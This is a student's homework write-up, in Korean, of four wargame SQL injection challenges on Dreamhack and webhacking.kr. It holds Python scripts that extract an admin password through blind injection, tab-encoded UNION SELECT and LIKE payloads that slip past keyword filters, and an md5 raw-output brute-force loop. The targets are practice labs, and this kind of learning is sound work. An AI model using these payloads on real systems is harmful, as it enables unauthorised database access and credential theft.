< 4주차 과제>
<실습1>
blind sql injection advanced
https://dreamhack.io/wargame/challenges/411
Admin password를 구해야함
파이썬으로 password를 알아내는 코드를 짜야함
패스워드의 각 비트열을 모두 추출해야해
비밀번호의 길이를 찾고 문자열을 하나하나 찾아줘야함
이를 다시 문자로 변환해주어야 한다.
이 때 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해주어야 한다.
비트열을 다시 문자로 변환하기 위해서는 다음과 같은 순서로 진행해야 한다.
1.비트열을 정수로 변환
2.정수를 Big Endian 형태의 문자로 변환
3.변환된 문자를 인코딩에 맞게 변환
비트열을 정수로 변환하기 위해 int 클래스를 사용할 수 있고, 정수를 Big Endian 형태로 변환하기 위해 int.to_bytes 함수를 사용할 수 있다. 마지막으로 문자를 인코딩에 맞게 변환하기 위해 bytes.decode 함수를 사용할 수 있다.
step 길이구하기
먼저 비밀번호의 길이를 구해야 한다/
import requests
host = "http://host1.dreamhack.games:21932"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
url = f"{host}/?uid={query}"
r = requests.get(url)
if "exists" in r.text:
break
print(f"password length: {password_length}")
비밀번호 길이는 13인 것을 알아낼 수 있다
이제 비트의 길이를 구해야한다
import requests
host = "http://host1.dreamhack.games:21932"
password_length = 13
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
url = f"{host}/?uid={query}"
r = requests.get(url)
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
character 1's bit length: 7
character 2's bit length: 7
character 3's bit length: 7
character 4's bit length: 24
character 5's bit length: 24
character 6's bit length: 24
character 7's bit length: 24
character 8's bit length: 24
character 9's bit length: 24
character 10's bit length: 24
character 11's bit length: 6
character 12's bit length: 6
character 13's bit length: 7
각 글자의 비트의 길이를 알아냈다
각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 함. 비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있음
admin'and substr(bin(ord(substr(upw, 13, 1))), 13, 1) = '1'-- -
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
패스워드 별 각 문자에 해당하는 비트열을 추출한다.
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
마지막으로 비트열을 문자로 변환을 반환해줘야 한다
from requests import get
host = "http://host1.dreamhack.games:18721/"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)
위 형식을 통해 바이트의 길이를 구하고 변환하여 DH정보를 알아낼 수 있었다.
<실습2>
sql injection bypass waf
https://dreamhack.io/wargame/challenges/415
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
for keyword in keywords:
if keyword in data:
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
이 코드에서 check_WAF 함수는 특정 키워드가 포함된 입력값을 차단하여 SQL Injection 공격을 방어하려고 합니다.
그러나 필터링이 대소문자를 구별하며, 공백(" ")만을 차단하고 URL 인코딩된 공백(%09, 즉 Tab 문자)은 허용하는 문제점이 있습니다.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
문제점:
- 대소문자 구별: admin은 차단되지만 Admin은 허용됨.
- 공백(" ")만 차단: URL 인코딩된 공백(%09 = tab)은 허용됨.
SQL Injection 공격 과정
- uid='admin'을 만족하는 조건을 우회하여 user 테이블에서 비밀번호(upw)를 가져오기.
- union select를 사용하여 추가적인 데이터를 삽입.
- 주석(#) 활용: 원래의 쿼리 조건을 무시하고 원하는 쿼리를 독립적으로 실행.
SELECT * FROM user WHERE uid='' Union Select null, upw, null From user where uid="Admin"#
- Union Select 활용: 기존 쿼리 결과와 Injection 쿼리 결과를 합쳐 출력.
- null, upw, null 선택: user 테이블의 upw 컬럼 값만 출력.
- # 주석 처리: 원래의 쿼리 조건을 무시하고 Injection 쿼리만 실행.
from requests import get
url = "http://host1.dreamhack.games:16841/"
param = f"'%09Union%09Select%09null,upw,null%09From%09user%09where%09uid=\"Admin\"%23"
response = get(f"{url}/?uid={param}")
print(response.text)
필터링을 우회해서 dh값을 전달받는걸 볼 수 있다
<실습3>
https://webhacking.kr/challenge/web-12/ //웹해킹.kr 12번
sql injection bypass WAF
Description Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다. 문제 수정 내역 2023.07.24 Dockerfile 제공.
dreamhack.io
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
필터링 조건
입력값 no에 대해 다음과 같은 문자열이 포함되면 차단됩니다:
- # (주석)
- select (SQL 키워드)
- ( (괄호)
- " " (공백)
- limit
- = (등호)
- 0x (16진수 표현)
문제점 발견:
- 공백이 필터링됨 → URL 인코딩된 Tab (%09)을 사용할 수 있음.
- 괄호가 필터링되지 않음 → )로 쿼리를 닫고 새로운 조건을 삽입 가능.
- 주석(#)이 필터링됨 → --을 활용하면 해결 가능 (-- 뒤의 SQL을 무시함).
- = 필터링됨 → LIKE 연산자를 사용하여 우회 가능.
SELECT id FROM chall27 WHERE id='guest' AND no=({$_GET['no']})
WHERE id='guest' AND no=()
→ )를 먼저 닫고 OR no LIKE 2 --를 추가하면
() 부분이 닫히므로 AND 조건이 무효화됨.
OR no LIKE 2가 참이 되어 id='admin'인 데이터가 선택됨.
?no=0)%09or%09no%09like%092--%09
- 주소뒤에 삽입해준다
- 0) → )로 기존의 no=() 조건을 닫음.
- %09 → 공백 대신 Tab (%09) 사용하여 WAF 우회.
- or no like 2 → no=2 조건을 만족하는 행을 강제로 가져옴.
- -- → 이후의 SQL을 주석 처리.
http://example.com/index.php?no=0)%09or%09no%09like%092--%09
최종 URL은 위와 같다.
<실습4>
https://webhacking.kr/challenge/bonus-13/ //51번
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 51</title>
<style>
table{ color:lightgreen;}
</style>
</head>
<body bgcolor=black><br><br>
<font color=silver>
<center><h1>Admin page</h1></center>
</font>
<?php
if($_POST['id'] && $_POST['pw']){
$db = dbconnect();
$input_id = addslashes($_POST['id']);
$input_pw = md5($_POST['pw'],true);
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall51 where id='{$input_id}' and pw='{$input_pw}'"));
if($result['id']) solve(51);
if(!$result['id']) echo "<center><font color=green><h1>Wrong</h1></font></center>";
}
?>
<br><br><br>
<form method=post>
<table border=0 align=center bgcolor=gray width=200 height=100>
<tr align=center><td>ID</td><td><input type=text name=id></td></tr>
<tr align=center><td>PW</td><td><input type=password name=pw></td></tr>
<tr><td colspan=2 align=center><input type=submit></td></tr>
</table>
<font color=silver>
<div align=right><br>.<br>.<br>.<br>.<br><a href=./?view_source=1>view-source</a></div>
</font>
</form>
</body>
</html>
필터링 및 우회 포인트
- addslashes($_POST['id']) 적용
- 작은따옴표 '를 \'로 변환하여 필터링.
- 그러나 큰따옴표 ", 백틱 `, 괄호 () 등은 필터되지 않음.
- id 필터링이 강하지 않으므로 직접적인 SQL Injection이 어려움.
- md5($_POST['pw'], true) 적용
- true 옵션으로 바이너리 형태(16바이트)로 저장됨.
- 일반적인 32자리 hex 값과 다름 → 일반적인 해시 우회 불가능.
- 비밀번호 필드에 pw='{$input_pw}' 조건 존재
- pw 값은 작은따옴표(')로 감싸짐.
- 즉, pw 입력값에 작은따옴표(')가 포함되면 SQL 문법 오류 발생 가능 → 이걸 활용하여 공격 가능!
SELECT id FROM chall51 WHERE id='admin' AND pw='' OR 1=1 -- '
- 1=1은 항상 참이므로, 모든 행을 조회할 수 있음.
- -- '을 사용하여 뒤쪽 SQL 문을 주석 처리.
- pw='' 조건을 만족하는 방식으로 작은따옴표를 깨트릴 필요가 있음.
md5 의 경우
md5( 문자열) 로 암호화 함수가 사용되면 32자리의 16진수 값을 반환하고,
md5("문자열", true) 로 암호화 함수가 사용되면 16자리의 바이너리 형식으로 변환된다고 한다.
두번째 인자가 설정되지 않을 경우, default 값은 false(Casel)가 된다.
encode 했을 때 'or'1과 같은 꼴이 되는 값을 넣어야 함
import hashlib
import binascii
def md5_encode(input_string):
return hashlib.md5(input_string.encode()).hexdigest()
def hex(input_string):
return binascii.unhexlify(input_string)
for i in range(1,4000000000):
key = str(hex(md5_encode(str(i))))
isExist = key.find("'='")==-1
if(isExist):
continue
print(key)
print("i : " + str(i))
비밀번호를 대입하자
129581926211651571912466741651878684928